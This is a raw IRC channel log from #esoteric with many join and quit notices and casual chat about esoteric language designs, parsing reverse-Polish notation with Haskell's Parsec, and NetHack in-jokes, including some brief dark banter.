:MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269874358 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269875355 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269876481 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269877181 0 :adam_d!~Adam@aath39.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269877493 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269878085 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269878458 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269880134 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269881984 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269882235 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269882746 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269884629 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1269884930 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269885168 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1269885174 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey guys. < 1269885198 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I have a really neat idea for an esolang. Just wanted to see what you guys thought of it. < 1269885337 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269885362 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What about an asm-esque language that runs on a hypothetical stack machine which uses a Harvard architecture; the unique thing about it is that both code -and- data space is a stack, and code can be treated just like stack data. I was thinking about having a conditional swap which would allow you to create pretty neat conditional loops. < 1269885394 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I think it's leetsauce...but that's just me. :) < 1269885427 0 :charlls!unknown@unknown.invalid PRIVMSG #esoteric :something neat would be adding unit testing into the language < 1269885469 0 :charlls!unknown@unknown.invalid PRIVMSG #esoteric :for example, a class can extends some class, implement some interface, or *support* some functionality which is in itself a testing declaration < 1269885512 0 :charlls!unknown@unknown.invalid PRIVMSG #esoteric :something like class Service implements iService supports Scalable, ThreadSafe < 1269885536 0 :charlls!unknown@unknown.invalid PRIVMSG #esoteric :where Scalable is an abstract test case declaration < 1269885560 0 :charlls!unknown@unknown.invalid PRIVMSG #esoteric :but defines explicit tests to be made that certify that certain class supports it < 1269885581 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269886001 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :o_O ? < 1269886077 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269886262 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269886640 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269887255 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269887480 0 :charlesq__!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269889082 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269891877 0 :kar8nga!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269892051 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269892235 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269892308 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269892365 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269892371 0 :charlesq__!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269893258 0 :sebbu2!~sebbu@ADijon-152-1-14-9.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269893348 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269893349 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269893883 0 :fizzie!unknown@unknown.invalid QUIT :Quit: Coyote finally caught me < 1269893972 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269893993 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269894657 0 :atrapado!~roper@46.188.116.91.dynamic.mundo-r.com JOIN :#esoteric < 1269894883 0 :adam_d!~Adam@aast43.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269895086 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269895343 0 :sebbu2!~sebbu@ADijon-152-1-25-74.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269895404 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269895453 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269895691 0 :sebbu2!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269895745 0 :sebbu!~sebbu@ADijon-152-1-62-98.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269895944 0 :sebbu2!~sebbu@ADijon-152-1-38-182.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269895960 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269896013 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269896013 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269896342 0 :isch!~isch@p5DD4957A.dip0.t-ipconnect.de JOIN :#esoteric < 1269896391 0 :isch!unknown@unknown.invalid PART #esoteric :? < 1269898258 0 :fizzie!~fis@2001:1bc8:102:587b:230:18ff:fea9:6f01 JOIN :#esoteric < 1269899130 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269899327 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269899442 0 :cheater2!~cheater@ip-80-226-13-231.vodafone-net.de JOIN :#esoteric < 1269900482 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269901729 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269904709 0 :s_h!~s_h@aaid208.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269904736 0 :s_h!unknown@unknown.invalid PART #esoteric :? < 1269905130 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269906554 0 :sshc!unknown@unknown.invalid QUIT :Quit: leaving < 1269906759 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269906980 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269907502 0 :sebbu2!~sebbu@ADijon-152-1-38-23.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269907505 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269907523 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269907932 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269907955 0 :werdan7_!unknown@unknown.invalid NICK :werdan7 < 1269908539 0 :sebbu!~sebbu@ADijon-152-1-22-149.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269909869 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269911949 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269912069 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269912157 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269912798 0 :oklofok!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269912821 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269912853 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1269914234 0 :sebbu2!~sebbu@ADijon-152-1-6-215.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269914275 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269914278 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269914432 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1269914919 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269919012 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1269919148 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269919889 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269923093 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269923189 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269924750 0 :dev_squid!unknown@unknown.invalid QUIT : < 1269930877 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269931117 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269931155 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269931567 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269932644 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269932807 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269935406 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269935999 0 :clog!unknown@unknown.invalid QUIT :ended < 1269936000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269936378 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1269937573 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269939984 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269942363 0 :cheater2!~cheater@ip-80-226-23-27.vodafone-net.de JOIN :#esoteric < 1269943028 0 :adam_d!~Adam@aast43.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269943066 0 :cheater3!~cheater@ip-80-226-238-186.vodafone-net.de JOIN :#esoteric < 1269943203 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269943337 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269944150 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269944166 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269944805 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269945303 0 :kar8nga!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269945398 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269946910 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269947709 0 :oklofok!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269947711 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269948086 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269952156 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1269952342 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269952932 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269954309 0 :MigoMipo!~3e779bfd@gateway/web/freenode/x-wwhvwomfpivezvka JOIN :#esoteric < 1269954497 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269954561 0 :adam_d!~Adam@aast43.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269954729 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269957263 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269957497 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269957549 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269959390 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269960009 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269960123 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269961034 0 :adam_d!~Adam@aast43.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269961716 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: Page closed < 1269962242 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269962264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*pin dropping* < 1269962512 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I didn't hear anything, the join-quit noise is so loud. < 1269962612 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and there's such a terrible lasting echo < 1269962625 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, can anyone here think of a decent way to parse reverse-polish using Parsec? < 1269962644 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at the moment, I'm reversing the input string then parsing the resulting forward-polish, but the resulting error messages are ridiculous < 1269962694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :like forth? < 1269962730 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: or Confloddle, which is what I'm trying to implement atm < 1269962734 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Forth isn't really parsed < 1269962763 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm that does sound weird to do without a stack < 1269962764 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(incidentally, Confloddle can be cut down from 5 to 4 characters trivially; it turns out that you can deduce the location of every < in the program even if it's not stated) < 1269962849 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose you'd like to detect stack underflows at the spot? < 1269962867 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(so I'm considering making the character set just re@: where @ is > and the location of the < is implied) < 1269962871 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm, maybe < 1269962888 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :both bottom-up parsers and LR(1) parsers don't have a problem with this sort of thing, although they both use stacks internally < 1269963007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes this is a left-recursion problem isn't it < 1269963018 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269963024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the obvious way to write it in Parsec gives you an infinite loop < 1269963034 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've been considering just writing a parser by hand < 1269963350 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you can do the reversing while parsing instead of before at least, maybe that gives better messages? < 1269963365 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: how? < 1269963424 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269963656 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :parseRest l = do (t <- token; let a = noArgs t; guard (length l >= a); parseRest (apply t (take a) l : drop a l)) <|> ...finished... < 1269963661 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :something like that < 1269963705 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, that's confusing < 1269963732 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you just pass in what's parsed so far, and apply to arguments immediately < 1269963762 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*(reverse $ take a), probably < 1269963779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*(reverse $ take a l), probably < 1269963786 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269963812 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that l should have been inside the parentheses to start with < 1269963844 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it might be a good idea to split on whether t takes arguments or not < 1269963886 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh and noArgs is numberOfArgs, not absense < 1269963942 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :is it still confusing? < 1269963977 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to figure out why you care about the number of args of the first token < 1269964009 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: it's not the first token, parseRest l is applied recursively to get each token < 1269964027 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(well it's the first token too, called as parseRest []) < 1269964034 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269964036 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm, l is the list of tokens you've seen so far? < 1269964047 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm starting to see how that works now, but it's still really unintuitive to me < 1269964056 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not just tokens, collected expressions < 1269964079 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269964139 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it essentially does a parsing using a stack, just inside parsec < 1269964175 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in which case you may as well write it by hand and make it clearer < 1269964213 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes, it's just to get parsec's error messages (and it's just a sketch) < 1269964282 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that guard should be replaced with something with a proper underflow error message < 1269964323 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"t applied to too few arguments" and i suppose parsec provides the position < 1269964344 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, perhaps you could just use fail? < 1269964490 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes, that looks like the right thing for user-generated ones < 1269964615 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269965004 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269965586 0 :cheater2!~cheater@ip-80-226-233-91.vodafone-net.de JOIN :#esoteric < 1269965680 0 :cheater3!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269965896 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269966556 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269968936 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269969010 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269969655 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269971857 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269972505 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269973656 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269973917 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269975091 0 :ehirdiphone!~ehirdipho@82.132.248.30 JOIN :#esoteric < 1269975107 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :What?! < 1269975120 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Dispatch? No; only half so. < 1269975175 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi ehirdiphone < 1269975199 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :It is hardly dramatic with so few around. < 1269975199 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What do you mean by half a dispatch? < 1269975228 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am merely an illusion. < 1269975238 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1269975245 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :An iPhone, used covertly, smuggled in. < 1269975283 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O < 1269975284 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But impermanent as are all such things; I'm not of the sort required to keep such a thing hidden. < 1269975298 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Be careful :/ < 1269975317 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :The iPhone encorages verbosity... It is easier than a multitude of error correction. < 1269975332 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh, no worries. < 1269975368 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :If anyone asks it is my company's: and I am using it to play games. < 1269975406 0 :ehirdiphone!unknown@unknown.invalid QUIT :Quit: Get Colloquy for iPhone! http://mobile.colloquy.info < 1269975429 0 :ehirdiphone!~ehirdipho@82.132.139.17 JOIN :#esoteric < 1269975431 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oops. < 1269975449 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: turns out you can remove < from confloddle < 1269975455 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as the location of the < is implied by the location of the > < 1269975456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hail, ehird. < 1269975459 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, so that wasn't someone walking by? Although I guess if someone walked by, it would be easier to abruptly hide it than close out of IRC < 1269975491 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Link to Confloodle? < 1269975497 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't see it on the wiki < 1269975499 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there isn't one, check logs < 1269975501 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I presume that you're not that well monitored at night? < 1269975523 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, it's a tarpit based on foldl and cons < 1269975660 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It is approx 19. < 1269975688 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: Well: evening times. < 1269975713 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Actually for a while, at the start, they checked on me every five minutes through the night: apparently I was considered at risk of attempting suicide. < 1269975738 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Ridiculous: if I was of that disposition I'd have done it so much earlier. < 1269975762 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But yeah; my room is the one place I am mostly alone. < 1269975779 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or at least have been much more creative about it. < 1269975810 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Rubber chicken with a pully in the middle. < 1269975816 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :See? < 1269975851 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :A reference to the Secret of Monkey Island, actually. < 1269975865 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :brb. < 1269976124 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :don't rubber chickens turn things to stone? < 1269976164 0 :ehirdiphone!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269976552 0 :ehirdiphone!~ehirdipho@82.132.136.215 JOIN :#esoteric < 1269976567 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Since brb said? < 1269976609 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : don't rubber chickens turn things to stone? < 1269976624 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: NetHack reference < 1269976629 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I know < 1269976632 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : Since brb said? < 1269976671 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269976685 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION dons gloves and throws a c at ais523
< 1269976694 0 :ehirdiphone!unknown@unknown.invalid QUIT :Client Quit < 1269976698 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION dodges, on the basis that c corpses have a 0% hit chance
< 1269976707 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :..oh < 1269976717 0 :ehirdiphone!~ehirdipho@82.132.248.68 JOIN :#esoteric < 1269976745 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION throws some c eggs at ais523
< 1269976756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: are you wearing gloves? < 1269976762 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, /me eats a lizard corpse < 1269976778 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't think lizard corpses help against instant petrification < 1269976779 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :eggs cause slow stoning, not instastoning < 1269976783 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Just against his.. oh < 1269977111 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oerjan:http://www.reddit.com/r/pics/comments/bk6s0/norwegian_life/c0n6q13 < 1269977237 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Dyydydyufug < 1269977334 0 :ehirdiphone!unknown@unknown.invalid QUIT :Quit: Get Colloquy for iPhone! http://mobile.colloquy.info < 1269977353 0 :ehirdiphone!~ehirdipho@82.132.248.66 JOIN :#esoteric < 1269977374 0 :adam_d_!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269977527 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269977977 0 :oklofok!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269978082 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :ais523: So > < 1269978088 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Tome traveling syntax < 1269978091 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Time < 1269978107 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why do you need syntax for that? < 1269978354 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loves how right-clicking can make explorer.exe crash
< 1269978356 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*cries* < 1269978461 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Confluddle I mean < 1269978471 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :confloddle has time travel? < 1269978486 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Fucckkkk < 1269978489 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :> < 1269978490 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Is < 1269978494 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Time t syntx < 1269978498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should probably read the logs at some point
< 1269978501 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Without opener < 1269978521 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Traveling not travel < 1269978521 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, no, you can just dedcude the location of the opener < 1269978528 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :by looking at arities going bacwards from the > < 1269978532 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh shaddup < 1269978607 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, sorry < 1269978625 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1269978676 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269978745 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269978760 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :You have... < 1269978766 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :0 minutes < 1269978833 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Goodbye but I this week will return ...Thursday! < 1269978855 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Can you live one more day without me? :) < 1269978863 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :don't worry, we'll manage somehow < 1269978877 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Maybe two if I'm tired on Thurs. < 1269978909 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gx's l' r'v'd', m' 'm'k'. < 1269978913 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loves how refreshing can make Safari crash
< 1269978919 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Formal goodbye time. < 1269978945 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :--alise; in the land of Mordor where the Shadows lie. < 1269978954 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :co'o < 1269978955 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :ko cinsne < 1269978980 0 :ehirdiphone!unknown@unknown.invalid QUIT :Quit: Get Colloquy for iPhone! http://mobile.colloquy.info < 1269978996 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Esperapostropho? < 1269979003 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: J's < 1269979012 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Now let's talk about how we hate ehird and ought to flay him alive. < 1269979013 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
